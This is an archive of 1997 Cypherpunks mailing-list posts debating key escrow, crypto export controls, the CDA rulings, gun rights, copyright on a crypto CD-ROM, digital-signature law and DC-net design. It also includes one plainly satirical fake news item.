>Judge Richard Freeman acted on a complaint by
>Oklahomans for Children and Families, which was
>upset by a scene in which a young boy has oral
>sex with a teenage girl.
>
>
>






From mix at anon.lcs.mit.edu  Mon Jun 30 09:07:22 1997
From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer)
Date: Tue, 1 Jul 1997 00:07:22 +0800
Subject: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <19970630154000.3345.qmail@nym.alias.net>




John Davidson wrote:
> The US National Institute of Standards and Technology recently made a 
> worldwide plea for cryptography algorithms that can be used for 
> authentication and not for encryption. 
     
  And, of course, cannot be used to authenticate encryption keys. Oh, but
they're just binary data, aren't they? So those Evil Terrorists(tm) will
simply use their magic authentication-only keys to authenticate their
secret un-surrendered encryption keys and they're off.

SignatureMonger






From paul at fatmans.demon.co.uk  Mon Jun 30 09:18:28 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 1 Jul 1997 00:18:28 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: 




> > If someone commits a crime,
> > lock him or her up or shoot them, or whatever. But once the penalty is
> > over, all normal rights return. The right to vote, the right to free
> > speech, the right to own weapons, etc.

Depends on your perspective. I can see a valid case for a penalty for say 
armed robbery that entails a lifetime, or 5/10/X year ban on ownership 
of guns. Other violent armed crime like this could also incur such a 
penalty as part of the sentence and I would consider this reasonable, 
however, banning ownership of guns for any felony is definitely not at 
all reasonable.

> > (Somehow most people think it's OK that convicted felons lose their rights
> > to vote and to have guns. (Once they're released, of course.) Do they think
> > convicted felons no longer have religious freedom? Can no longer write as
> > they wish? Jeesh.)

Speech cannot harm someone, if someone has commited a violent crime and 
are likely to do so again, banning ownership of firearms sounds 
reasonable to me, of course this is not going to be an effective ban, but 
that is beside the point.

> I find it interesting that they find the right to vote as dangerous as the
> right to own a gun.  

Indeed, I can see no justification whatsoever for banning participation 
in the democratic process as an ongoing penalty for commision of crime 
after the main sentence is completed.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From frantz at netcom.com  Mon Jun 30 10:08:35 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 1 Jul 1997 01:08:35 +0800
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: 
Message-ID: 



At 3:16 PM -0700 6/29/97, Bill Stewart wrote:
>At 09:41 AM 6/27/97 -0700, Tim May wrote:
>>I also applaud what my local Congresscritterwoman says, and especially her
>>quotation of the Dan Gillmor column from the local Silicon Valley
>>newspaper. I saw this colum several days ago and was impressed, especially
>>by the quote I include below.
>
>Of course, after saying good things about the stupid
>and offensive anti-encryption bill (applaud applaud),
>she followed it up by reacting to the Supreme Court CDA decision
>by announcing son-of-CDA, a bill to require ISPs to offer censorware.
>Oh, well.

To get elected in America, you have to give the voters someone to hate.
Back 10 years ago, it was criminals, then it was wetbacks, now it is
pornographers (and tobacco companies).  Hate is just so much better as a
motivating force than good government (whatever "good" is).


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From alano at teleport.com  Mon Jun 30 10:18:56 1997
From: alano at teleport.com (Alan)
Date: Tue, 1 Jul 1997 01:18:56 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199706301418.HAA26242@netcom13.netcom.com>
Message-ID: 



On Mon, 30 Jun 1997, Andrade Software Andrade Networking wrote:

> Bruce Schneier wrote:
> > 
> > The cost should be reasonable.  And I hope nobody posts the text, or the
> > publishers won't ever do it again.
> > 
> You need some way to protect electronic copyrights.
> Unfortunately, any widespread, practical method is probably at 
> least 5 years in the future.

Copyright laws will do nothing to prevent the text from being distributed.
All copyright laws will do is make you able to punish "offenders" after
the fact.  They have no mystical value to "protect" anything, especially
digital medium, which is easy to copy.

I can understand Bruce's view on this though.  We want these things to
spread.  The more copies that get published, the harder the task becomes
to supress info on crypto.  Kind of a fine line between making it
available and making it available for everyone...

alano at teleport.com | "Those who are without history are doomed to retype it."






From paul at fatmans.demon.co.uk  Mon Jun 30 10:52:10 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 1 Jul 1997 01:52:10 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: 




> juicy, but just as viable.  And Nazi Germany is also proof that strong
> crypto really doesn't do much good when the rubber hoses can be
> deployed without hinderance.

Strong crypto you must remember is only part of the solution. The reason 
for the lack of direct response from the Jews during the holocaust was 
the "legally elected" 3rd Reichs programme of disarming it`s citizens.

Strong crypto along with other communication technologies provide a 
strong and secure framework within which armed resistance can take place, 
these same technologies also allow for infowarfare type attacks on the 
infrastructure of whole countries or jurisdictions.

> In fact, your safety and wealth depends in large measure on the
> protections provided by that government you scorn.  In any healthy
> tyranny the jackboots would have been on your throat long ago,
> regardless of your little arsenal, and your money would be purchasing 
> toys for the rulers.

Well, tax money already does purchase toys for the rulers and the 
jackboots are moving towards our throats slowly so no-one notices. Safety 
and wealth derive from free market economies and rights to self-defence, 
not from a government.

> > >It's amazing how little faith libertarians have in the market system,
> > >isn't it?  :-)
> > 
> > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> 
> Like shooting fish in a barrel, really.  Anyway, you know that I don't
> favor GAK, so where are you coming from?  All I have ever said is 
> that there is strong corporate demand for enterprise level key 
> recovery. 

For once we agree, CACK (corporate access to corporate keys) is a service 
that is in demand, and will be more in demand in future. I see no reason 
for this to involve any government or be a regulated market, a 
competitive corporate escrow market is the best way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From tcmay at got.net  Mon Jun 30 10:52:46 1997
From: tcmay at got.net (Tim May)
Date: Tue, 1 Jul 1997 01:52:46 +0800
Subject: The Hate Minute
In-Reply-To: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>
Message-ID: 



At 9:57 AM -0700 6/30/97, Bill Frantz wrote:

>To get elected in America, you have to give the voters someone to hate.
>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>pornographers (and tobacco companies).  Hate is just so much better as a
>motivating force than good government (whatever "good" is).

Yes, why don't we just finish the process and institute the "Hate Minute"?

One day it could be Gunter Grass, the next it could be Kenneth Starr, and
so on.

Each day BB Bill could lead us in a minute of hate, carried live on CNN,
MSNBC, and the Internet.

Back to the war with Oceania...

--Winston Smith


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Mon Jun 30 11:27:12 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Tue, 1 Jul 1997 02:27:12 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com>



Bruce Schneier wrote:
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.

At 04:02 PM 6/30/97 +0000, Paul Bradley wrote:
>> It is only available to US customers.
>
>Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
>that the texts from it find their way onto either an FTP server or 
>somewhere like sci.crypt??? Anonymous responses and pointers expected if 
>anyone does have the time and is good enough to do this.

No point in being anonymous when I'm flaming you.  Bruce did _not_ appear 
to be saying "I'd be shocked, _shocked_ if this were posted to the net."
He said he's talked his publishers into putting some great crypto books
on CD-ROM, which is the sort of the publishers do to make money.
Even if you're not impressed with copyright laws as law, or with the
enforcability of copyright laws, you can still not rip them off.
Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk
were to physically mail him a copy of the disk, which he'd pay for.
While that's arguably violating export laws, it's not ripping anyone off.

You could argue, BTW, that CD-ROMs _are_ print - after all, they're
just dark and light dots on plastic intended to be read optically,
and they're not much different from a really small print Braille font.
You might need to argue that with Judge Patel, _after_ the DoiJ/NSA/BXA
appeal the Bernstein settlement and lose :-)  And it's probably worth
getting the bar-code version of the T-Shirt through export first.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From kent at songbird.com  Mon Jun 30 11:44:28 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 1 Jul 1997 02:44:28 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: <19970630111759.13667@bywater.songbird.com>



On Mon, Jun 30, 1997 at 04:25:17PM +0000, Paul Bradley wrote:
> 
> > juicy, but just as viable.  And Nazi Germany is also proof that strong
> > crypto really doesn't do much good when the rubber hoses can be
> > deployed without hinderance.
> 
> Strong crypto you must remember is only part of the solution. The reason 
> for the lack of direct response from the Jews during the holocaust was 
> the "legally elected" 3rd Reichs programme of disarming it`s citizens.

In "the real world" (tm by Kent Crispin), Paul, there isn`t anything
that has a single cause, and chains of causality twist, entertwine,
and extend backward indefinitely.  The lack of a "direct response" --
well, you should be able to think of thirty reasons before breakfast,
if you try. 

[...]

> > > >It's amazing how little faith libertarians have in the market system,
> > > >isn't it?  :-)
> > > 
> > > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> > 
> > Like shooting fish in a barrel, really.  Anyway, you know that I don't
> > favor GAK, so where are you coming from?  All I have ever said is 
> > that there is strong corporate demand for enterprise level key 
> > recovery. 
> 
> For once we agree, CACK (corporate access to corporate keys) is a service 
> that is in demand, and will be more in demand in future. I see no reason 
> for this to involve any government or be a regulated market, a 
> competitive corporate escrow market is the best way to go.

Key recovery, of course, involves a very wide range of possible
implementations, escrow services being only one.  My gripe has been
that cypherpunks (this is an overgeneralization, to be sure) are so
averse to key recovery in any form that good systems are simply not
being developed.  Thus there isn't a healthy, competitive market, and
thus, government and corporate interests are taking the field, by
default.  This is a crying shame.  Key management is one of the basic
problems of cryptography -- arguably the most important outstanding
problem for any practical system today.  As crypto spreads into the
collective consciousness people will likely have many keys.  
Dedicated souls can keep track of several infrequently used 
passphrases, but for most of us it just doesn't work.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Mon Jun 30 11:45:45 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 1 Jul 1997 02:45:45 +0800
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: 
Message-ID: <19970630113102.27239@bywater.songbird.com>



On Mon, Jun 30, 1997 at 09:57:11AM -0700, Bill Frantz wrote:
> 
> To get elected in America, you have to give the voters someone to hate.
> Back 10 years ago, it was criminals, then it was wetbacks, now it is
> pornographers (and tobacco companies).  Hate is just so much better as a
> motivating force than good government (whatever "good" is).

Hate is used as a motivating force by entities other than governments 
-- we see it used every day here on CP.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From wombat at mcfeely.bsfs.org  Mon Jun 30 15:38:59 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Tue, 1 Jul 1997 06:38:59 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: 





On Sat, 28 Jun 1997, Paul Bradley wrote:

> however, banning ownership of guns for any felony is definitely not at 
> all reasonable.
> 

It beats being banned from possessing weapons for living in the U.K.








From declan at well.com  Mon Jun 30 15:41:59 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 1 Jul 1997 06:41:59 +0800
Subject: Marc Andreessen on encryption and CDA
Message-ID: 



Marc Andreessen from Netscape spoke at a National Press Club luncheon on
June 20. Attached is an excerpt from a transcript of his remarks.

-Declan

---

NATIONAL PRESS CLUB LUNCHEON
MARC ANDREESSEN, NETSCAPE
FRIDAY, JUNE 20, 1997

[...]

The goal here in all these markets should be open
access -- open access for any new competitor who wants
to offer content and services, who wants to offer
hardware and software, who wants to offer bandwidth
for the Net itself. And then open access should also
allow each consumer and business to choose and buy
from any set of vendors it wants.

Now, I am not suggesting anything radical -- no major
new laws or sweeping regulations, but simply that we
must ensure we have vigorous enforcement first of
existing antitrust laws and vigorous promotion of
normal healthy competitive markets in these areas --
network services, software and hardware, content and
consumer services. Once we have that, then we need to
make sure we just don't screw it up. For example --
just one example -- patently ridiculous limitations on
the ability of American companies to both produce and
use encryption software and hardware internationally.
Encryption technology now is freely available to
criminals and terrorists all around the world,
overseas, on the Web. You can buy it from NTT, you can
buy it from companies out of South Africa, England,
and many other countries. And we are really at this
point deluding ourselves with respect to our ability
to control this technology. The genie is clearly
already out of the bottle.

However, current regulations, current arms traffic
regulations that apply to this technology and the new
McCain-Kerry bill that just was introduced a couple of
days ago -- the real effect there is that they are
ceding the international data security market to
non-U.S. vendors. They are really stunting now the
development of the Net as a commercial medium, and
they are leaving American companies fundamentally
unprotected from economic espionage and terrorism
abroad. One final example, imposing censorship laws in
this new consumer content medium that are more
stringent and restrictive than those on newspaper and
television.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From gbroiles at netbox.com  Mon Jun 30 16:58:38 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Tue, 1 Jul 1997 07:58:38 +0800
Subject: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630164631.00b5c9d0@mail.io.com>



William Geiger III wrote:

>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

I realize I'm in danger of sounding like Tim here, but I remember writing a
long message about this some months ago - perhaps it's available through
the archives.

"Legally binding" isn't a useful way to think about this sort of thing.
Signatures serve at least two different purposes; sometimes they're
required to form a contract (say, for the transfer of an interest in real
estate, or a contract which cannot be performed in less than a year, or for
the sale of goods worth more than $500) and sometimes they serve as
evidence that a person has had access to or contact with a physical thing
(like a paper copy of an agreement).

Contract law does not revolve around signatures, it revolves around
agreements. If you don't have an agreement with someone (and haven't acted
in a way which would have led a reasonable person to think you had an
agreement) then you don't have a contract with them. A signature can be
evidence of an agreement, and it may be required to form certain
agreements; but a signature is not an agreement. It's a pattern made with
ink or with bits; an agreement is a legal relationship. The map is not the
territory. 

If your e-mail doesn't seem to be proposing an agreement, or accepting an
agreement, I don't think you need to worry that you're going to
accidentally form a contract with someone. Other concerns (like, say, that
a digitally signed message could be introduced as evidence in a criminal or
civil trial) seem to stem from the assumption that unsigned messages won't
be admissible .. and I think that assumption will prove to be false. Courts
admit evidence whose origin is disputed or uncertain all of the time, and
trust the jury to decide who they'll believe. There's no reason to assume
that electronic evidence (as opposed to eyewitness accounts, or
photographic evidence, or other falsifiable evidence) will be excluded
because it's potentially suspect. The addition of a digital signature makes
the spurious "But how do you know *I* sent that messsage?" argument less
plausible - but I think that argument's a loser anyway, at least in most
cases.

If you're really worried about it, you could add "THIS KEY WILL NOT BE USED
TO SIGN OR FORM CONTRACTS" to your ID string for your public key - but I'm
not sure it really makes much difference. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From declan at well.com  Mon Jun 30 17:35:54 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 1 Jul 1997 08:35:54 +0800
Subject: Supreme Court summarily affirms Shea v. Reno CDA case
Message-ID: 



Dealing the final blow to the Communications Decency
Act, the Supreme Court last Friday again ruled the law
was unconstitutional.

In a one-line order, the justices summarily affirmed
the ruling of a New York federal district court that
struck down the law last July. Joe Shea filed the
lawsuit in February 1996 on behalf of his online
publication, the American Reporter.

Since the court did not write an opinion, however, the
Shea v. Reno case does not have the same hefty
precedential value as the ACLU v. Reno lawsuit brought
by the American Civil Liberties Union and American
Library Association plaintiffs.

"Since in practice ACLU v. Reno is the law of the
land, that preempts any binding force that Shea v.
Reno might have," says UCLA law professor Eugene
Volokh. Shea challenged only part of the CDA and
didn't win as broad a victory at the trial court
level as the ACLU and ALA coalitions did.

Still, Shea is celebrating. "What it really means to
me is that other countries aren't going to get the
support they hoped for when they start or continue to
suppress the Internet," he says. "The Net is going to
be an important vehicle for new democracies around the
world. People are going to voice on the Internet what
they can't voice on radio or TV. Governments are going
to find it harder to regulate because the U.S. Supreme
Court stood behind the First Amendment in both of
these cases."

Shea filed the case with the pro bono help of
Arent Fox, Kintner Plotkin & Kahn, a Washington law
firm.

Shea recently signed a partnership with nando.net, which
now will publish the American Reporter online. It'll go
live in July at http://american-reporter.com

-Declan

More info:

 http://www.eff.org/pub/Legal/Cases/Am_Reporter_v_DoJ/

 http://www.newshare.com/Reporter/3097/3097-6.html

 http://www.newshare.com/Reporter/3097/3097-8.html



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From declan at well.com  Mon Jun 30 18:05:24 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 1 Jul 1997 09:05:24 +0800
Subject: Has your privacy been invaded? Protected? Both?
Message-ID: 



We hear a lot of steamy rhetoric about privacy and the information age, but
few real-world examples. I'm working on a story now for Time about just
this: what's happening to individual privacy today.

Does the Net make us more exposed -- DejaNews and 411-type databases -- or
does it provide us with more privacy through tools like anonymous remailers
and pseudonymous identities? Can we trust the government to protect our
privacy when it works tirelessly to invade it?

Much has been written about this. What I'm looking for now are examples.
Have you used an anonymous remailer to cloak your identity, or been flamed
through one? Have you been denied a transaction at a store because you
refused to identify yourself? Have you hunted through databases to find
someone important? Has sensitive information about you turned up in one?

I'd appreciate hearing some stories...

Thanks all,

Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From jya at pipeline.com  Mon Jun 30 18:46:25 1997
From: jya at pipeline.com (John Young)
Date: Tue, 1 Jul 1997 09:46:25 +0800
Subject: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970701011350.006a641c@pop.pipeline.com>



Sorry 'bout that .txt typo for the SAFE report; it's HTM:

   http://jya.com/hr105-108.htm  (94K)







From jya at pipeline.com  Mon Jun 30 18:46:31 1997
From: jya at pipeline.com (John Young)
Date: Tue, 1 Jul 1997 09:46:31 +0800
Subject: Denning Paper
Message-ID: <1.5.4.32.19970701012342.006b2d44@pop.pipeline.com>



Forward:

Professor Dorothy Denning's paper, "Encryption and Evolving Technologies as 
Tools of Organized Crime and Terrorism," will be available in early July. 

Should you wish to purchase a copy please send a check or money order for 
$10.00 (includes shipping and handling) payable to the National Strategy 
Information Center, at the following address: 1730 Rhode Island Ave. NW, 
Suite 500, Washington, DC 20036. We will be happy to send you a copy once
we receive your payment. 

Should you have any further questions please feel free to contact me.

Sincerely,
Marcia McGowan
Working Group on Organized Crime
National Strategy Information Center
 
----------------------------------------------------------------------------

Excerpt of the paper at:

  http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html






From shamrock at netcom.com  Mon Jun 30 18:54:23 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 1 Jul 1997 09:54:23 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: 



The idea is that the criminal has received their punishment once released 
from prison. Any further infringements on the person's rights are
unacceptable. That includes the person's Natural Right to acquire 
fully-automatic weapons, should he so desire. [BTW, the nature of the crime 
committed is irrelevant].


-- Lucky Green  PGP encrypted mail preferred

On Mon, 30 Jun 1997, Rabid Wombat wrote:

> 
> 
> On Sat, 28 Jun 1997, Paul Bradley wrote:
> 
> > however, banning ownership of guns for any felony is definitely not at 
> > all reasonable.
> > 
> 
> It beats being banned from possessing weapons for living in the U.K.
> 
> 
> 
> 






From dl at swallow.cum  Mon Jun 30 18:57:11 1997
From: dl at swallow.cum (Dick Liquor)
Date: Tue, 1 Jul 1997 09:57:11 +0800
Subject: Dorothy and Not-Toto Do D.C.
Message-ID: <33B8591F.373D@swallow.cum>



[Routers--July 1, 1997]

CHEMICAL SPILL BY THE RIVER, U.S.A.:
  PRESIDENT Clinton, commenting on the British retreat from Hong Kong,
told reporters, "The Chinese are a nuclear power, so the British had
to 'put on a happy(~diplomatic) face' as the Chinese troops rolled in,
no matter what the Chinese did at Kent State, Waco and Ruby Ridge."
  When his 'faux pas' was pointed out, Clinton laughed it off by saying,
"Well, you know how it is...you kill a dissident and, an hour later,
you want to kill again."

  A reporter who recently spent the night in the Lincoln bedroom saved
the President further embarassment by changing the subject to the recent
telivised debate on encryption between Dorothy Denning and Tim C. May,
a grouchy old cypherpunk.
  Clinton seized the opportunity to play to the law and order crowd,
responding, "That crazy bastard bit her fucking ear off! This kind of
disgusting incident is exactly what our encryption policy is designed
to address."
  When pressed to explain his statement, the President stated that if
Mr. May had not been exposed to ear-biting pornography spread across the
Internet with strong encryption, that children would not now be exposed
to it in the televised news coverage of the May-Denning incident."

  When reporters asked about the Paula Jones incident, President Clinton
replied, "I think she has me confused with Mike Tyson."






From stewarts at ix.netcom.com  Mon Jun 30 19:38:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 1 Jul 1997 10:38:48 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: <3.0.2.32.19970630170619.0075ca98@popd.ix.netcom.com>



At 01:57 PM 6/25/97 -0700, Lucky Green  wrote:
>Regarding DC nets:
>Modern tree structures only double the bandwidth requirement. DC nets are 
>practical today. I would encourage CP's to work on implementations.

How do you do that?  Arrange the XORs to do x0^x1, x2^x3....,
then (x0^x1)^(x2^x3)... etc., ending up with user 0 doing the last XOR,
and broadcasting or tree-casting the results?  It cuts down on bandwidth
for the average user, but does end up with a few users doing most of the work,
and perhaps there's some security risk in the unbalanced workload.
It's an interesting approach, and I suppose you could do a bit more work
(logn instead of 2) to spread the partial results around so more people
can calculate them directly (e.g. user 0 sends user 2 x0^x1, and sends 
user 1 x2^x3, and if you're still paranoid you can have user 0 also send
user 3 x0^x1, which user 2 and user 3 can compare....)

You've probably got to put more thought into getting the details right,
like collision detection and backoff, but it's still doable.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From geeman at best.com  Mon Jun 30 19:55:19 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 1 Jul 1997 10:55:19 +0800
Subject: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19691231160000.006d0374@best.com>



My biggest problem is when the pundits (and by extension, those that punt
to them)
frame this entire debate in terms of the Market.  To do so is to argue that
only solutions
that are good for The Market are good solutions; that when a particular
policy is market-agnostic
or market-negative, even though it may be good policy for People (yes,
remember them ???) it is irrelevant or
bad.  This debate is NOT about the Worldwide Encryption Market!


At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote:
>
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
>-Declan
>
>---
>
>NATIONAL PRESS CLUB LUNCHEON
>MARC ANDREESSEN, NETSCAPE
>FRIDAY, JUNE 20, 1997
>
>[...]
>
>The goal here in all these markets should be open
>access -- open access for any new competitor who wants
>to offer content and services, who wants to offer
>hardware and software, who wants to offer bandwidth
>for the Net itself. And then open access should also
>allow each consumer and business to choose and buy
>from any set of vendors it wants.
>
>Now, I am not suggesting anything radical -- no major
>new laws or sweeping regulations, but simply that we
>must ensure we have vigorous enforcement first of
>existing antitrust laws and vigorous promotion of
>normal healthy competitive markets in these areas --
>network services, software and hardware, content and
>consumer services. Once we have that, then we need to
>make sure we just don't screw it up. For example --
>just one example -- patently ridiculous limitations on
>the ability of American companies to both produce and
>use encryption software and hardware internationally.
>Encryption technology now is freely available to
>criminals and terrorists all around the world,
>overseas, on the Web. You can buy it from NTT, you can
>buy it from companies out of South Africa, England,
>and many other countries. And we are really at this
>point deluding ourselves with respect to our ability
>to control this technology. The genie is clearly
>already out of the bottle.
>
>However, current regulations, current arms traffic
>regulations that apply to this technology and the new
>McCain-Kerry bill that just was introduced a couple of
>days ago -- the real effect there is that they are
>ceding the international data security market to
>non-U.S. vendors. They are really stunting now the
>development of the Net as a commercial medium, and
>they are leaving American companies fundamentally
>unprotected from economic espionage and terrorism
>abroad. One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.
>
>[...]
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>






From declan at well.com  Mon Jun 30 20:25:34 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 1 Jul 1997 11:25:34 +0800
Subject: Marc Andreessen on encryption and CDA
In-Reply-To: <3.0.32.19691231160000.006d0374@best.com>
Message-ID: 



Ah, but what is a market except voluntary transactions between people?
What is good for the market is good for the people.

-Declan

On Mon, 30 Jun 1997 geeman at best.com wrote:

> My biggest problem is when the pundits (and by extension, those that punt
> to them)
> frame this entire debate in terms of the Market.  To do so is to argue that
> only solutions
> that are good for The Market are good solutions; that when a particular
> policy is market-agnostic
> or market-negative, even though it may be good policy for People (yes,
> remember them ???) it is irrelevant or
> bad.  This debate is NOT about the Worldwide Encryption Market!
> 






From dformosa at st.nepean.uws.edu.au  Mon Jun 30 20:53:49 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 1 Jul 1997 11:53:49 +0800
Subject: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: 



On Sat, 28 Jun 1997, Huge Cajones Remailer wrote:

[...]

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

There are two possable resons,

a) A deliberate campain to undermine this list.

b) Someone in one of the Aol chat rooms told everyone how 
k00l  this mailing list is.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From pgut001 at cs.auckland.ac.nz  Mon Jun 30 21:24:49 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 1 Jul 1997 12:24:49 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <86772952415649@cs26.cs.auckland.ac.nz>



>Copyright laws will do nothing to prevent the text from being distributed.
>All copyright laws will do is make you able to punish "offenders" after
>the fact.  They have no mystical value to "protect" anything, especially
>digital medium, which is easy to copy.
 
What makes this case especially awkward is the fact that the CDROM can't 
legally be sold outside the US, which means the only way the rest of the world 
can get it is through illegal copies.  Given the immense usefulness of 
something like this, I'd say it's only a matter of time before bootleg copies 
start appearing outside the US, but because of the USG's position we can't pay 
for it even if we want to (DDJ wouldn't look too good if they accepted payment 
for what they knew was illegally exported crypto).  Perhaps a donation of the 
same amount to charity would serve as some equivalent to payment...
 
Peter.






From frantz at netcom.com  Mon Jun 30 21:34:54 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 1 Jul 1997 12:34:54 +0800
Subject: The Hate Minute
In-Reply-To: 
Message-ID: 



At 10:46 AM -0700 6/30/97, Tim May wrote:
>At 9:57 AM -0700 6/30/97, Bill Frantz wrote:
>
>>To get elected in America, you have to give the voters someone to hate.
>>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>>pornographers (and tobacco companies).  Hate is just so much better as a
>>motivating force than good government (whatever "good" is).
>
>Yes, why don't we just finish the process and institute the "Hate Minute"?

Actually the story that comes to my mind is by the TV personality Steve
Allen, and if I remember correctly called, "The Hating".  The then accepted
form of capitol punishment is to tie the perp to a stake in the middle of
Yankee Stadium.  A cheerleader gets the assembled crowd to hate - Hate -
HATE, and their psychic energy burns the perp thru telekinesis.  Quite a
chilling short story.  (Also quite old.  Telekinesis was then still
considered hard science fiction.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From frantz at netcom.com  Mon Jun 30 21:39:32 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 1 Jul 1997 12:39:32 +0800
Subject: Marc Andreessen on encryption and CDA
In-Reply-To: 
Message-ID: 



At 2:02 PM -0700 6/30/97, Declan McCullagh wrote:
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
> ... One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.

At least we can point to the Supreme Court CDA decision which called the
